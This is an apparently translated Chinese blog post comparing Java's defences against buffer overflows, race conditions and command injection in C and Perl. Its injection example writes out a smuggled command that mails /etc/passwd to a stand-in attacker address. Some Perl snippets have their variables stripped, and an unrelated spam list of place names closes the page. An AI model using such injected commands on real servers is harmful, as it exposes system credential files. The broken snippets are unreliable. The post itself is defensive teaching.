posts - 36,comments - 31,trackbacks - 0

          一、概述
            
              編寫安全的 Internet 應用并不是一件輕而易舉的事情:只要看看各個專業(yè)公告板就可以找到連續(xù)不斷的安全漏洞報告。你如何保證自己的 Internet 應用不象其他人的應用那樣滿是漏洞?你如何保證自己的名字不會出現(xiàn)在令人難堪的重大安全事故報道中?
            
            
              如果你使用 Java Servlet 、 JavaServer Pages(JSP) 或者 EJB ,許多難以解決的問題都已經事先解決。當然,漏洞仍有可能出現(xiàn)。下面我們就來看看這些漏洞是什么,以及為什么 Java 程序員不必擔心部分 C Perl 程序員必須面對的問題。
            
               C 程序員對安全漏洞應該已經很熟悉,但象 OpenBSD 之類的工程提供了處理此類問題的安全系統(tǒng)。 Java 語言處理這類問題的經驗要比 C 20 年,但另一方面, Java 作為一種客戶端編程語言誕生,客戶端對安全的要求比服務器端苛刻得多。它意味著 Java 的發(fā)展有著一個穩(wěn)固的安全性基礎。
            
               Java 原先的定位目標是瀏覽器。然而,瀏覽器本身所帶的 Java 虛擬機雖然很不錯,但卻并不完美。 Sun 的《 Chronology of security-related bugs and issues 》總結了運行時環(huán)境的漏洞發(fā)現(xiàn)歷史。我們知道,當 Java 用作服務器端編程語言時,這些漏洞不可能被用作攻擊手段。但即使 Java 作為客戶端編程語言,重大安全問題的數量也從 1996 年的 6 ( 其中 3 個是相當嚴重的問題 ) 降低到 2000 年的 1 個。不過,這種安全性的相對提高并不意味著 Java 作為服務器端編程語言已經絕對安全,它只意味著攻擊者能夠使用的攻擊手段越來越受到限制。那么,究竟有哪些地方容易受到攻擊,其他編程語言又是如何面對類似問題的呢?
            
              二、緩存溢出
            
              在 C 程序中,緩存溢出是最常見的安全隱患。緩存溢出在用戶輸入超過已分配內存空間 ( 專供用戶輸入使用 ) 時出現(xiàn)。緩存溢出可能成為導致應用被覆蓋的關鍵因素。 C 程序很容易出現(xiàn)緩存溢出,但 Java 程序幾乎不可能出現(xiàn)緩存溢出。
            
              從輸入流讀取輸入數據的 C 代碼通常如下所示:
            
               char buffer[1000];
            
               int len = read(buffer);
            
              由于緩存的大小在讀入數據之前確定,系統(tǒng)要檢查為輸入保留的緩存是否足夠是很困難的。緩存溢出使得用戶能夠覆蓋程序數據結構的關鍵部分,從而帶來了安全上的隱患。有經驗的攻擊者能夠利用這一點直接把代碼和數據插入到正在運行的程序。
            
              在 Java 中,我們一般用字符串而不是字符數組保存用戶輸入。與前面 C 代碼等價的 Java 代碼如下所示:
            
               String buffer = in.readLine();
            
              在這里, 緩存 的大小總是和輸入內容的大小完全一致。由于 Java 字符串在創(chuàng)建之后不能改變,緩存溢出也就不可能出現(xiàn)。退一步說,即使用字符數組替代字符串作為緩存, Java 也不象 C 那樣容易產生可被攻擊者利用的安全漏洞。例如,下面的 Java 代碼將產生溢出:
            
               char[] bad = new char[6];
            
               bad[7] = 50; 這段代碼總是拋出一個 java.lang.ArrayOutOfBoundsException 異常,而該異常可以由程序自行捕獲:
            
               try {
            
               char[] bad = new char[6];
            
               bad[7] = 50;
            
               }
            
               catch (ArrayOutOfBoundsException ex) {
            
               ... }
            
              這種處理過程永遠不會導致不可預料的行為。無論用什么方法溢出一個數組,我們總是得到 ArrayOutOfBoundsException 異常,而 Java 運行時底層環(huán)境卻能夠保護自身免受任何侵害。一般而言,用 Java 字符串類型處理字符串時,我們無需擔心字符串的 ArrayOutOfBoundsExceptions 異常,因此它是一種較為理想的選擇。
            
               Java 編程模式從根本上改變了用戶輸入的處理方法,避免了輸入緩存溢出,從而使得 Java 程序員擺脫了最危險的編程漏洞。
            
              三、競爭狀態(tài)
            
              競爭狀態(tài)即 Race Condition ,它是第二類最常見的應用安全漏洞。在創(chuàng)建 ( 更改 ) 資源到修改資源以禁止對資源訪問的臨界時刻,如果某個進程被允許訪問資源,此時就會出現(xiàn)競爭狀態(tài)。這里的關鍵問題在于:如果一個任務由兩個必不可少的步驟構成,不管你多么想要讓這兩個步驟一個緊接著另一個執(zhí)行,操作系統(tǒng)并不保證這一點。例如,在數據庫中,事務機制使得兩個獨立的事件 原子化 。換言之,一個進程創(chuàng)建文件,然后把這個文件的權限改成禁止常規(guī)訪問;與此同時,另外一個沒有特權的進程可以處理該文件,欺騙有特權的進程錯誤地修改文件,或者在權限設置完畢之后仍繼續(xù)對原文件進行訪問。
            
              一般地,在標準 Unix NT 環(huán)境下,一些高優(yōu)先級的進程能夠把自己插入到任務的多個步驟之間,但這樣的進程在 Java 服務器上是不存在的;同時,用純 Java 編寫的程序也不可能修改文件的許可權限。因此,大多數由文件訪問導致的競爭狀態(tài)在 Java 中不會出現(xiàn),但這并不意味著 Java 完全地擺脫了這個問題,只不過是問題轉到了虛擬機上。
            
              我們來看看其他各種開發(fā)平臺如何處理這個問題。在 Unix 中,我們必須確保默認文件創(chuàng)建模式是安全的,比如在服務器啟動之前執(zhí)行 “umask 200” 這個命令。有關 umask 的更多信息,請在 Unix 系統(tǒng)的命令行上執(zhí)行 “man umask” 查看 umask man 文檔。
            
              在 NT 環(huán)境中,我們必須操作 ACL( 訪問控制表, Access Control List) 的安全標記,保護要在它下面創(chuàng)建文件的目錄。 NT 的新文件一般從它的父目錄繼承訪問許可。請參見 NT 文檔了解更多信息。
            
               Java 中的競爭狀態(tài)大多數時候出現(xiàn)在臨界代碼區(qū)。例如,在用戶登錄過程中,系統(tǒng)要生成一個唯一的數字作為用戶會話的標識符。為此,系統(tǒng)先產生一個隨機數字,然后在散列表之類的數據結構中檢查這個數字是否已經被其他用戶使用。如果這個數字沒有被其他用戶使用,則把它放入散列表以防止其他用戶使用。代碼如 Listing 1 所示:
            
               (Listing 1)
            
               // 保存已登錄用戶的 ID
            
               Hashtable hash;
            
               // 隨機數字生成器
            
               Random rand;
            
               // 生成一個隨機數字
            
               Integer id = new Integer(rand.nextInt());
            
               while (hash.containsKey(id))
            
               {
            
               id = new Integer(rand.nextInt());
            
               }
            
               // 為當前用戶保留該 ID
            
               hash.put(id, data);
            
               Listing 1 的代碼可能帶來一個嚴重的問題:如果有兩個線程執(zhí)行 Listing 1 的代碼,其中一個線程在 hash.put(...) 這行代碼之前被重新調度,此時同一個隨機 ID 就有可能被使用兩次。在 Java 中,我們有兩種方法解決這個問題。首先, Listing 1 的代碼可以改寫成 Listing 2 的形式,確保只有一個線程能夠執(zhí)行關鍵代碼段,防止線程重新調度,避免競爭狀態(tài)的出現(xiàn)。第二,如果前面的代碼是 EJB 服務器的一部分,我們最好有一個利用 EJB 服務器線程控制機制的唯一 ID 服務。
            
               (Listing 2)
            
               synchronized(hash)
            
               {
            
               // 生成一個唯一的隨機數字
            
               Integer id =
            
               new Integer(rand.nextInt());
            
               while (hash.containsKey(id))
            
               {
            
               id = new Integer(rand.nextInt());
            
               }
            
               // 為當前用戶保留該 ID
            
               hash.put(id, data);
            
               }
            
              四、字符串解釋執(zhí)行
            
              在有些編程語言中,輸入字符串中可以插入特殊的函數,欺騙服務器使其執(zhí)行額外的、多余的動作。下面的 Perl 代碼就是一個例子:
            
               = "mail body";
            
               system("/usr/sbin/sendmail -t < ");
            
              顯然,這些代碼可以作為 CGI 程序的一部分,或者也可以從命令行調用。通常,它可以按照如下方式調用:
            
               perl script.pl honest@true.com
            
              它將把一個郵件 ( “mail body”) 發(fā)送給用戶 honest@true.com 。這個例子雖然簡單,但我們卻可以按照如下方式進行攻擊:
            
               perl script.pl honest@true.com;mail
            
               cheat@liarandthief.com < /etc/passwd
            
              這個命令把一個空白郵件發(fā)送給 honest@true.com ,同時又把系統(tǒng)密碼文件發(fā)送給了 cheat@liarandthief.com 。如果這些代碼是 CGI 程序的一部分,它會給服務器的安全帶來重大的威脅。
            
               Perl 程序員常常用外部程序 ( 比如 sendmail) 擴充 Perl 的功能,以避免用腳本來實現(xiàn)外部程序的功能。然而, Java 有著相當完善的 API 。比如對于郵件發(fā)送, JavaMail API 就是一個很好的 API 。但是,如果你比較懶惰,想用外部的郵件發(fā)送程序發(fā)送郵件:
            
               Runtime.getRuntime().exec("/usr/sbin/sendmail -t < ");
            
              事實上這是行不通的。 Java 一般不允許把 OS “< ” “;” 之類的構造符號作為 Runtime.exec() 的一部分。你可能會嘗試用下面的方法解決這個問題:
            
               Runtime.getRuntime().exec("sh /usr/sbin/sendmail -t < ");
            
              但是,這種代碼是不安全的,它把前面 Perl 代碼面臨的危險帶入了 Java 程序。按照常規(guī)的 Java 方法解決問題有時看起來要比取巧的方法復雜一點,但它幾乎總是具有更好的可移植性、可擴展性,而且更安全、錯誤更少。

          posted on 2006-08-18 00:19 心隨我動 閱讀(353) 評論(0)  編輯  收藏 所屬分類: Java
          網站流量統(tǒng)計:
          澳大利亞 ABC 在線英語廣播電臺
          主站蜘蛛池模板: 福贡县| 武穴市| 修文县| 乌兰察布市| 鲁山县| 易门县| 阜康市| 无极县| 台安县| 黑山县| 贵定县| 永州市| 滕州市| 卢氏县| 三门县| 灵台县| 台江县| 高州市| 赤峰市| 金华市| 青河县| 黄平县| 南和县| 陆丰市| 本溪市| 丰顺县| 谢通门县| 淮阳县| 六枝特区| 北票市| 兴安盟| 卢氏县| 贵南县| 浙江省| 越西县| 陆川县| 赫章县| 禹城市| 松溪县| 天台县| 普兰县|